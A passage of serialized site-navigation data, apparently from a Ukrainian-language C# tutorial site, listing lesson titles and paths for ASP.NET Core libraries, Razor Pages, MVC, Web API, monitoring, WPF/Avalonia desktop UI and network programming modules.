Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmediatr","01.csharp\u002F11.aspnet\u002F09.libraries\u002F05.mediatr",{"title":1151,"path":1152,"stem":1153},"Відмовостійкість з Polly в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fpolly","01.csharp\u002F11.aspnet\u002F09.libraries\u002F06.polly",{"title":1155,"path":1156,"stem":1157},"Health Checks в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F09.libraries\u002F07.health-checks",{"title":1159,"path":1160,"stem":1161},"Feature Management та Feature Flags в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffeature-management","01.csharp\u002F11.aspnet\u002F09.libraries\u002F08.feature-management",{"title":1163,"path":1164,"stem":1165},"Відправка Email з FluentEmail в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-email","01.csharp\u002F11.aspnet\u002F09.libraries\u002F09.fluent-email",{"title":1167,"path":1168,"stem":1169},"Генерація PDF з QuestPDF в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fquest-pdf","01.csharp\u002F11.aspnet\u002F09.libraries\u002F10.quest-pdf",{"title":1171,"path":1172,"stem":1173},"Генерація тестових даних з Bogus в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fbogus","01.csharp\u002F11.aspnet\u002F09.libraries\u002F11.bogus",{"title":1175,"path":1176,"stem":1177},"Humanizer та Guard Clauses в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhumanizer-guard","01.csharp\u002F11.aspnet\u002F09.libraries\u002F12.humanizer-guard",{"title":1179,"path":1180,"stem":1181},"План модуля 10.libraries — Популярні бібліотеки ASP.NET","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fplan","01.csharp\u002F11.aspnet\u002F09.libraries\u002Fplan",{"title":1183,"icon":1184,"path":1185,"stem":1186,"children":1187,"page":59},"Razor Pages","i-lucide-layout-template","\u002Fcsharp\u002Faspnet\u002Frazor-pages","01.csharp\u002F11.aspnet\u002F10.razor-pages",[1188,1192,1196,1200,1204,1208],{"title":1189,"path":1190,"stem":1191},"Від Minimal API до Razor Pages: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ffrom-minimal-api","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F01.from-minimal-api",{"title":1193,"path":1194,"stem":1195},"PageModel: логіка сторінки Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fpage-model","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F02.page-model",{"title":1197,"path":1198,"stem":1199},"Razor синтаксис: шаблонізатор у .cshtml","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Frazor-syntax","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F03.razor-syntax",{"title":1201,"path":1202,"stem":1203},"Tag Helpers: типізований HTML","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ftag-helpers","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F04.tag-helpers",{"title":1205,"path":1206,"stem":1207},"Форми і валідація: повний цикл обробки даних","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fforms-validation","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F05.forms-validation",{"title":1209,"path":1210,"stem":1211},"Практичний проєкт: TaskManager на Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fproject-task-manager","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F06.project-task-manager",{"title":1213,"path":1214,"stem":1215,"children":1216,"page":59},"ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc","01.csharp\u002F11.aspnet\u002F11.mvc",[1217,1221,1225,1229,1233,1237,1241,1245,1249,1253,1257,1261,1265,1269,1273,1277,1281,1285],{"title":1218,"path":1219,"stem":1220},"Патерн MVC: архітектура, що змінила веб","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-pattern","01.csharp\u002F11.aspnet\u002F11.mvc\u002F01.mvc-pattern",{"title":1222,"path":1223,"stem":1224},"Від Razor Pages до MVC: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffrom-razor-pages","01.csharp\u002F11.aspnet\u002F11.mvc\u002F02.from-razor-pages",{"title":1226,"path":1227,"stem":1228},"Controllers та Actions: серце MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fcontrollers-actions","01.csharp\u002F11.aspnet\u002F11.mvc\u002F03.controllers-actions",{"title":1230,"path":1231,"stem":1232},"Маршрутизація в MVC: Convention vs Attribute Routing","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Frouting-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F04.routing-mvc",{"title":1234,"path":1235,"stem":1236},"Model Binding: від HTTP до C#","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmodel-binding","01.csharp\u002F11.aspnet\u002F11.mvc\u002F05.model-binding",{"title":1238,"path":1239,"stem":1240},"Views, ViewData, ViewBag, TempData і ViewModel","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fviews-viewdata-tempdata","01.csharp\u002F11.aspnet\u002F11.mvc\u002F06.views-viewdata-tempdata",{"title":1242,"path":1243,"stem":1244},"Filters: аспектно-орієнтоване програмування в MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffilters","01.csharp\u002F11.aspnet\u002F11.mvc\u002F07.filters",{"title":1246,"path":1247,"stem":1248},"Areas: структурування великих застосунків","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fareas","01.csharp\u002F11.aspnet\u002F11.mvc\u002F08.areas",{"title":1250,"path":1251,"stem":1252},"View Components: повторювані незалежні блоки UI","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fview-components","01.csharp\u002F11.aspnet\u002F11.mvc\u002F09.view-components",{"title":1254,"path":1255,"stem":1256},"Display та Editor Templates","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fdisplay-editor-templates","01.csharp\u002F11.aspnet\u002F11.mvc\u002F10.display-editor-templates",{"title":1258,"path":1259,"stem":1260},"Валідація: IValidatableObject та FluentValidation","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fvalidation-advanced","01.csharp\u002F11.aspnet\u002F11.mvc\u002F11.validation-advanced",{"title":1262,"path":1263,"stem":1264},"HTMX: інтерактивність через HTML-атрибути","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx","01.csharp\u002F11.aspnet\u002F11.mvc\u002F12.htmx",{"title":1266,"path":1267,"stem":1268},"HTMX у ASP.NET Core MVC: серверна інтеграція","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fajax-htmx-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F13.ajax-htmx-mvc",{"title":1270,"path":1271,"stem":1272},"Практичний проєкт: Каталог товарів з HTMX","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F14.htmx-project",{"title":1274,"path":1275,"stem":1276},"Завантаження та обробка файлів","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffile-upload","01.csharp\u002F11.aspnet\u002F11.mvc\u002F15.file-upload",{"title":1278,"path":1279,"stem":1280},"Глобалізація та Локалізація MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fglobalization-localization","01.csharp\u002F11.aspnet\u002F11.mvc\u002F16.globalization-localization",{"title":1282,"path":1283,"stem":1284},"Підсумковий проєкт: Блог-платформа","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F17.mvc-project",{"title":1286,"path":1287,"stem":1288},"План курсу: ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fplan","01.csharp\u002F11.aspnet\u002F11.mvc\u002Fplan",{"title":1290,"path":1291,"stem":1292,"children":1293,"page":59},"Web Api","\u002Fcsharp\u002Faspnet\u002Fweb-api","01.csharp\u002F11.aspnet\u002F12.web-api",[1294,1298,1302,1306,1310,1314,1318,1322,1326,1330,1334,1338,1342],{"title":1295,"path":1296,"stem":1297},"Від Minimal API до Controller-based API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffrom-minimal-api-to-controllers","01.csharp\u002F11.aspnet\u002F12.web-api\u002F01.from-minimal-api-to-controllers",{"title":1299,"path":1300,"stem":1301},"ControllerBase, ActionResult\u003CT> та Response Types","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontroller-base-actionresult","01.csharp\u002F11.aspnet\u002F12.web-api\u002F02.controller-base-actionresult",{"title":1303,"path":1304,"stem":1305},"Content Negotiation - JSON, XML та власні форматери","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontent-negotiation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F03.content-negotiation",{"title":1307,"path":1308,"stem":1309},"Версіонування API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-versioning","01.csharp\u002F11.aspnet\u002F12.web-api\u002F04.api-versioning",{"title":1311,"path":1312,"stem":1313},"ProblemDetails та структурована обробка помилок","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fproblemdetails-error-handling","01.csharp\u002F11.aspnet\u002F12.web-api\u002F05.problemdetails-error-handling",{"title":1315,"path":1316,"stem":1317},"Фільтри у Web API контексті","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffilters-for-api","01.csharp\u002F11.aspnet\u002F12.web-api\u002F06.filters-for-api",{"title":1319,"path":1320,"stem":1321},"Пагінація, фільтрація та сортування","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fpagination-filtering-sorting","01.csharp\u002F11.aspnet\u002F12.web-api\u002F07.pagination-filtering-sorting",{"title":1323,"path":1324,"stem":1325},"HATEOAS та Resource Expansion","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhateoas-resource-expansion","01.csharp\u002F11.aspnet\u002F12.web-api\u002F08.hateoas-resource-expansion",{"title":1327,"path":1328,"stem":1329},"Гібридна архітектура - Minimal API + Controllers","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fminimal-api-vs-controllers-hybrid","01.csharp\u002F11.aspnet\u002F12.web-api\u002F09.minimal-api-vs-controllers-hybrid",{"title":1331,"path":1332,"stem":1333},"Документація API - Swashbuckle, NSwag та генерація клієнтів","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-documentation-generation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F10.api-documentation-generation",{"title":1335,"path":1336,"stem":1337},"Health Checks та моніторинг API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhealth-checks-monitoring","01.csharp\u002F11.aspnet\u002F12.web-api\u002F11.health-checks-monitoring",{"title":1339,"path":1340,"stem":1341},"Підсумковий проєкт - Production-Ready REST API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fweb-api-project","01.csharp\u002F11.aspnet\u002F12.web-api\u002F12.web-api-project",{"title":1343,"path":1344,"stem":1345},"План курсу: ASP.NET Core Web API (Controllers)","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fplan","01.csharp\u002F11.aspnet\u002F12.web-api\u002Fplan",{"title":1347,"icon":1348,"path":1349,"stem":1350,"children":1351,"page":59},"Моніторинг","i-lucide-activity","\u002Fcsharp\u002Faspnet\u002Fmonitoring","01.csharp\u002F11.aspnet\u002F13.monitoring",[1352,1356,1360],{"title":1353,"path":1354,"stem":1355},"Спостережуваність: від console.log до production-систем","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fobservability-intro","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F01.observability-intro",{"title":1357,"path":1358,"stem":1359},"Health Checks: перший рівень observability","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F02.health-checks",{"title":1361,"path":1362,"stem":1363},"Вбудовані метрики .NET 10 та System.Diagnostics.Metrics","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fdotnet-metrics","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F03.dotnet-metrics",{"title":1365,"icon":1366,"path":1367,"stem":1368,"children":1369,"page":59},"Desktop UI","i-lucide-app-window","\u002Fcsharp\u002Fdesktop-ui","01.csharp\u002F12.desktop-ui",[1370,1374,1378,1382,1386,1390,1394,1398,1402,1406,1410,1414,1418,1422,1426,1430,1434,1438,1442,1446,1450,1454,1458,1462,1466,1470,1474,1478,1482,1486,1490,1494,1498,1502,1506,1510,1514,1518,1522,1526,1530,1534,1538,1542,1546,1550,1554,1558,1562,1566,1570,1574,1578,1582,1586,1590,1594,1598,1602,1606,1610,1614,1618,1622,1626,1630,1634,1638,1642,1646,1650],{"title":1371,"path":1372,"stem":1373},"Що таке десктопна розробка?","\u002Fcsharp\u002Fdesktop-ui\u002Fwhat-is-desktop-dev","01.csharp\u002F12.desktop-ui\u002F01.what-is-desktop-dev",{"title":1375,"path":1376,"stem":1377},"Архітектура WPF — як влаштований графічний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-architecture","01.csharp\u002F12.desktop-ui\u002F02.wpf-architecture",{"title":1379,"path":1380,"stem":1381},"Перший WPF-проєкт — від нуля до вікна","\u002Fcsharp\u002Fdesktop-ui\u002Ffirst-wpf-app","01.csharp\u002F12.desktop-ui\u002F03.first-wpf-app",{"title":1383,"path":1384,"stem":1385},"Перший Avalonia-проєкт: WPF для всіх платформ","\u002Fcsharp\u002Fdesktop-ui\u002F03a.first-avalonia-app","01.csharp\u002F12.desktop-ui\u002F03a.first-avalonia-app",{"title":1387,"path":1388,"stem":1389},"XAML: декларативний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-basics","01.csharp\u002F12.desktop-ui\u002F04.xaml-basics",{"title":1391,"path":1392,"stem":1393},"Fluent UI у WPF — сучасний дизайн Windows 11","\u002Fcsharp\u002Fdesktop-ui\u002F04a.wpf-fluent-ui","01.csharp\u002F12.desktop-ui\u002F04a.wpf-fluent-ui",{"title":1395,"path":1396,"stem":1397},"WPF UI — сучасна бібліотека Fluent контролів","\u002Fcsharp\u002Fdesktop-ui\u002F04b.wpf-ui-library","01.csharp\u002F12.desktop-ui\u002F04b.wpf-ui-library",{"title":1399,"path":1400,"stem":1401},"HandyControl — велика бібліотека UI контролів для WPF","\u002Fcsharp\u002Fdesktop-ui\u002F04c.handycontrol-library","01.csharp\u002F12.desktop-ui\u002F04c.handycontrol-library",{"title":1403,"path":1404,"stem":1405},"Простори імен та ресурси XAML","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-namespaces-resources","01.csharp\u002F12.desktop-ui\u002F05.xaml-namespaces-resources",{"title":1407,"path":1408,"stem":1409},"XAML в Avalonia: ключові відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F05a.avalonia-xaml-differences","01.csharp\u002F12.desktop-ui\u002F05a.avalonia-xaml-differences",{"title":1411,"path":1412,"stem":1413},"Розширення розмітки XAML (Markup Extensions)","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-markup-extensions","01.csharp\u002F12.desktop-ui\u002F06.xaml-markup-extensions",{"title":1415,"path":1416,"stem":1417},"Панелі Layout: StackPanel, WrapPanel, DockPanel","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part1","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part1",{"title":1419,"path":1420,"stem":1421},"Grid, Canvas, UniformGrid","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part2","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part2",{"title":1423,"path":1424,"stem":1425},"Просунуті техніки Layout","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-advanced","01.csharp\u002F12.desktop-ui\u002F08.layout-advanced",{"title":1427,"path":1428,"stem":1429},"Адаптивний Layout та найкращі практики","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-responsive","01.csharp\u002F12.desktop-ui\u002F09.layout-responsive",{"title":1431,"path":1432,"stem":1433},"Layout в Avalonia: відмінності та нові можливості","\u002Fcsharp\u002Fdesktop-ui\u002F09a.layout-avalonia","01.csharp\u002F12.desktop-ui\u002F09a.layout-avalonia",{"title":1435,"path":1436,"stem":1437},"Button, Image, ProgressBar та інші базові контроли","\u002Fcsharp\u002Fdesktop-ui\u002Fbasic-controls","01.csharp\u002F12.desktop-ui\u002F10.basic-controls",{"title":1439,"path":1440,"stem":1441},"Контроли в Avalonia: відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F10a.controls-avalonia","01.csharp\u002F12.desktop-ui\u002F10a.controls-avalonia",{"title":1443,"path":1444,"stem":1445},"Текстові контроли — TextBlock, TextBox, RichTextBox","\u002Fcsharp\u002Fdesktop-ui\u002Ftext-controls","01.csharp\u002F12.desktop-ui\u002F11.text-controls",{"title":1447,"path":1448,"stem":1449},"Контроли вибору — CheckBox, RadioButton, ComboBox, ListBox, DatePicker","\u002Fcsharp\u002Fdesktop-ui\u002Fselection-controls","01.csharp\u002F12.desktop-ui\u002F12.selection-controls",{"title":1451,"path":1452,"stem":1453},"Content Model — GroupBox, Expander, TabControl, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fcontent-controls","01.csharp\u002F12.desktop-ui\u002F13.content-controls",{"title":1455,"path":1456,"stem":1457},"UI\u002FUX принципи десктопних застосунків","\u002Fcsharp\u002Fdesktop-ui\u002F13a.ui-ux-principles","01.csharp\u002F12.desktop-ui\u002F13a.ui-ux-principles",{"title":1459,"path":1460,"stem":1461},"Dependency Properties — Концепція та Value Resolution","\u002Fcsharp\u002Fdesktop-ui\u002Fdependency-properties-part1","01.csharp\u002F12.desktop-ui\u002F14.dependency-properties-part1",{"title":1463,"path":1464,"stem":1465},"Avalonia Property System — StyledProperty та DirectProperty","\u002Fcsharp\u002Fdesktop-ui\u002F14a.avalonia-property-system","01.csharp\u002F12.desktop-ui\u002F14a.avalonia-property-system",{"title":1467,"path":1468,"stem":1469},"Attached Properties — Властивості без меж","\u002Fcsharp\u002Fdesktop-ui\u002Fattached-properties","01.csharp\u002F12.desktop-ui\u002F15.attached-properties",{"title":1471,"path":1472,"stem":1473},"Routed Events — Маршрутизація подій у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Frouted-events","01.csharp\u002F12.desktop-ui\u002F16.routed-events",{"title":1475,"path":1476,"stem":1477},"Data Binding — Від Code-Behind до Декларативності","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part1","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part1",{"title":1479,"path":1480,"stem":1481},"INotifyPropertyChanged — Живе оновлення UI","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part2","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part2",{"title":1483,"path":1484,"stem":1485},"Compiled Bindings в Avalonia — Безпека на етапі компіляції","\u002Fcsharp\u002Fdesktop-ui\u002F17a.avalonia-compiled-bindings","01.csharp\u002F12.desktop-ui\u002F17a.avalonia-compiled-bindings",{"title":1487,"path":1488,"stem":1489},"Просунутий Data Binding — ElementName, RelativeSource, MultiBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-advanced","01.csharp\u002F12.desktop-ui\u002F18.data-binding-advanced",{"title":1491,"path":1492,"stem":1493},"Value Converters — Перетворення типів даних у Data Binding","\u002Fcsharp\u002Fdesktop-ui\u002Fvalue-converters","01.csharp\u002F12.desktop-ui\u002F19.value-converters",{"title":1495,"path":1496,"stem":1497},"Data Templates — Візуалізація об'єктів у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-templates","01.csharp\u002F12.desktop-ui\u002F20.data-templates",{"title":1499,"path":1500,"stem":1501},"Collections Binding Part 1 — ObservableCollection та ItemsControl","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part1","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part1",{"title":1503,"path":1504,"stem":1505},"Collections Binding Part 2 — ICollectionView, Filtering, Sorting та Virtualization","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part2","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part2",{"title":1507,"path":1508,"stem":1509},"MVVM Pattern — Від Spaghetti Code до архітектури","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-pattern","01.csharp\u002F12.desktop-ui\u002F22.mvvm-pattern",{"title":1511,"path":1512,"stem":1513},"ViewModel Implementation — Від BaseViewModel до валідації","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-implementation","01.csharp\u002F12.desktop-ui\u002F23.viewmodel-implementation",{"title":1515,"path":1516,"stem":1517},"Commands — Від event handlers до декларативних команд","\u002Fcsharp\u002Fdesktop-ui\u002Fcommands","01.csharp\u002F12.desktop-ui\u002F24.commands",{"title":1519,"path":1520,"stem":1521},"MVVM Toolkit — MVVM без boilerplate через Source Generators","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-toolkit","01.csharp\u002F12.desktop-ui\u002F25.mvvm-toolkit",{"title":1523,"path":1524,"stem":1525},"Messenger Pattern — Комунікація між ViewModel без прямих посилань","\u002Fcsharp\u002Fdesktop-ui\u002Fmessenger-pattern","01.csharp\u002F12.desktop-ui\u002F26.messenger-pattern",{"title":1527,"path":1528,"stem":1529},"Стилі WPF — CSS для десктопу","\u002Fcsharp\u002Fdesktop-ui\u002Fstyles-basics","01.csharp\u002F12.desktop-ui\u002F27.styles-basics",{"title":1531,"path":1532,"stem":1533},"CSS-like стилі Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F27a.avalonia-css-styling","01.csharp\u002F12.desktop-ui\u002F27a.avalonia-css-styling",{"title":1535,"path":1536,"stem":1537},"Control Templates — Частина 1. Концепція та TemplateBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part1","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part1",{"title":1539,"path":1540,"stem":1541},"Control Templates — Частина 2. Named Parts та ContentPresenter","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part2","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part2",{"title":1543,"path":1544,"stem":1545},"Control Themes в Avalonia — нова ера стилізації","\u002Fcsharp\u002Fdesktop-ui\u002F28a.avalonia-control-themes","01.csharp\u002F12.desktop-ui\u002F28a.avalonia-control-themes",{"title":1547,"path":1548,"stem":1549},"Triggers та Visual State Manager у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Ftriggers-visual-states","01.csharp\u002F12.desktop-ui\u002F29.triggers-visual-states",{"title":1551,"path":1552,"stem":1553},"Pseudo-classes в Avalonia — замість WPF Triggers","\u002Fcsharp\u002Fdesktop-ui\u002F29a.avalonia-pseudo-classes","01.csharp\u002F12.desktop-ui\u002F29a.avalonia-pseudo-classes",{"title":1555,"path":1556,"stem":1557},"Теми та ресурсні словники у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fresources-themes","01.csharp\u002F12.desktop-ui\u002F30.resources-themes",{"title":1559,"path":1560,"stem":1561},"Avalonia Themes — Fluent Design та система тематизації","\u002Fcsharp\u002Fdesktop-ui\u002F30a.avalonia-themes-fluent","01.csharp\u002F12.desktop-ui\u002F30a.avalonia-themes-fluent",{"title":1563,"path":1564,"stem":1565},"Контроли колекцій — глибоке занурення","\u002Fcsharp\u002Fdesktop-ui\u002Fcollection-controls","01.csharp\u002F12.desktop-ui\u002F31.collection-controls",{"title":1567,"path":1568,"stem":1569},"DataGrid — колонки та базове відображення","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part1","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part1",{"title":1571,"path":1572,"stem":1573},"DataGrid — сортування, фільтрація, редагування","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part2","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part2",{"title":1575,"path":1576,"stem":1577},"TreeView та GridView","\u002Fcsharp\u002Fdesktop-ui\u002Ftreeview-listview","01.csharp\u002F12.desktop-ui\u002F33.treeview-listview",{"title":1579,"path":1580,"stem":1581},"Меню, Toolbar, ContextMenu, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fmenus-toolbars","01.csharp\u002F12.desktop-ui\u002F34.menus-toolbars",{"title":1583,"path":1584,"stem":1585},"Навігація та керування вікнами. Частина 1: вікна та сторінки","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part1","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part1",{"title":1587,"path":1588,"stem":1589},"Навігація та керування вікнами. Частина 2: MVVM-навігація","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part2","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part2",{"title":1591,"path":1592,"stem":1593},"Avalonia — Навігація та діалоги","\u002Fcsharp\u002Fdesktop-ui\u002F35a.avalonia-navigation-dialogs","01.csharp\u002F12.desktop-ui\u002F35a.avalonia-navigation-dialogs",{"title":1595,"path":1596,"stem":1597},"Діалоги та File Pickers у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdialogs-file-pickers","01.csharp\u002F12.desktop-ui\u002F36.dialogs-file-pickers",{"title":1599,"path":1600,"stem":1601},"UserControl: компонентний підхід у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fuser-controls","01.csharp\u002F12.desktop-ui\u002F37.user-controls",{"title":1603,"path":1604,"stem":1605},"Custom Controls: Lookless Controls у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fcustom-controls","01.csharp\u002F12.desktop-ui\u002F38.custom-controls",{"title":1607,"path":1608,"stem":1609},"Avalonia TemplatedControl — Lookless Controls","\u002Fcsharp\u002Fdesktop-ui\u002F38a.avalonia-templated-controls","01.csharp\u002F12.desktop-ui\u002F38a.avalonia-templated-controls",{"title":1611,"path":1612,"stem":1613},"Анімації у WPF: Storyboard та Easing Functions","\u002Fcsharp\u002Fdesktop-ui\u002Fanimations-transitions","01.csharp\u002F12.desktop-ui\u002F39.animations-transitions",{"title":1615,"path":1616,"stem":1617},"Анімації в Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F39a.avalonia-animations","01.csharp\u002F12.desktop-ui\u002F39a.avalonia-animations",{"title":1619,"path":1620,"stem":1621},"2D Графіка та Мультимедіа у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fmedia-graphics","01.csharp\u002F12.desktop-ui\u002F40.media-graphics",{"title":1623,"path":1624,"stem":1625},"Dependency Injection у WPF та Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Fdi-integration","01.csharp\u002F12.desktop-ui\u002F41.di-integration",{"title":1627,"path":1628,"stem":1629},"SQLite та EF Core у десктопних додатках","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part1","01.csharp\u002F12.desktop-ui\u002F42.data-persistence-part1",{"title":1631,"path":1632,"stem":1633},"Repository Pattern та Unit of Work","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part2","01.csharp\u002F12.desktop-ui\u002F43.data-persistence-part2",{"title":1635,"path":1636,"stem":1637},"Тестування ViewModels","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-testing","01.csharp\u002F12.desktop-ui\u002F44.viewmodel-testing",{"title":1639,"path":1640,"stem":1641},"Avalonia Headless Testing — тестування UI без вікон","\u002Fcsharp\u002Fdesktop-ui\u002F44a.avalonia-headless-testing","01.csharp\u002F12.desktop-ui\u002F44a.avalonia-headless-testing",{"title":1643,"path":1644,"stem":1645},"Кросплатформна розробка з Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-cross-platform","01.csharp\u002F12.desktop-ui\u002F45.avalonia-cross-platform",{"title":1647,"path":1648,"stem":1649},"Пакування та розгортання Avalonia додатків","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F46.avalonia-packaging-deployment",{"title":1651,"path":1652,"stem":1653},"Розгортання WPF застосунків","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F47.wpf-packaging-deployment",{"title":1655,"icon":658,"path":1656,"stem":1657,"children":1658,"page":59},"Network Programming","\u002Fcsharp\u002Fnetwork-programming","01.csharp\u002F13.network-programming",[1659,1663,1667,1671,1675,1679,1683,1687,1691,1695,1699],{"title":1660,"path":1661,"stem":1662},"Основи комп'ютерних мереж","\u002Fcsharp\u002Fnetwork-programming\u002Ffoundations","01.csharp\u002F13.network-programming\u002F01.foundations",{"title":1664,"path":1665,"stem":1666},"Модель OSI та стек TCP\u002FIP","\u002Fcsharp\u002Fnetwork-programming\u002Fosi-model","01.csharp\u002F13.network-programming\u002F02.osi-model",{"title":1668,"path":1669,"stem":1670},"IP-протокол та адресація","\u002Fcsharp\u002Fnetwork-programming\u002Fip-addressing","01.csharp\u002F13.network-programming\u002F03.ip-addressing",{"title":1672,"path":1673,"stem":1674},"UDP — протокол без з'єднання","\u002Fcsharp\u002Fnetwork-programming\u002Fudp","01.csharp\u002F13.network-programming\u002F05.udp",{"title":1676,"path":1677,"stem":1678},"UDP Broadcast та Multicast","\u002Fcsharp\u002Fnetwork-programming\u002Fudp-broadcast-multicast","01.csharp\u002F13.network-programming\u002F06.udp-broadcast-multicast",{"title":1680,"path":1681,"stem":1682},"HTTP — протокол вебу","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-fundamentals","01.csharp\u002F13.network-programming\u002F07.http-fundamentals",{"title":1684,"path":1685,"stem":1686},"HttpListener — вбудований HTTP-сервер 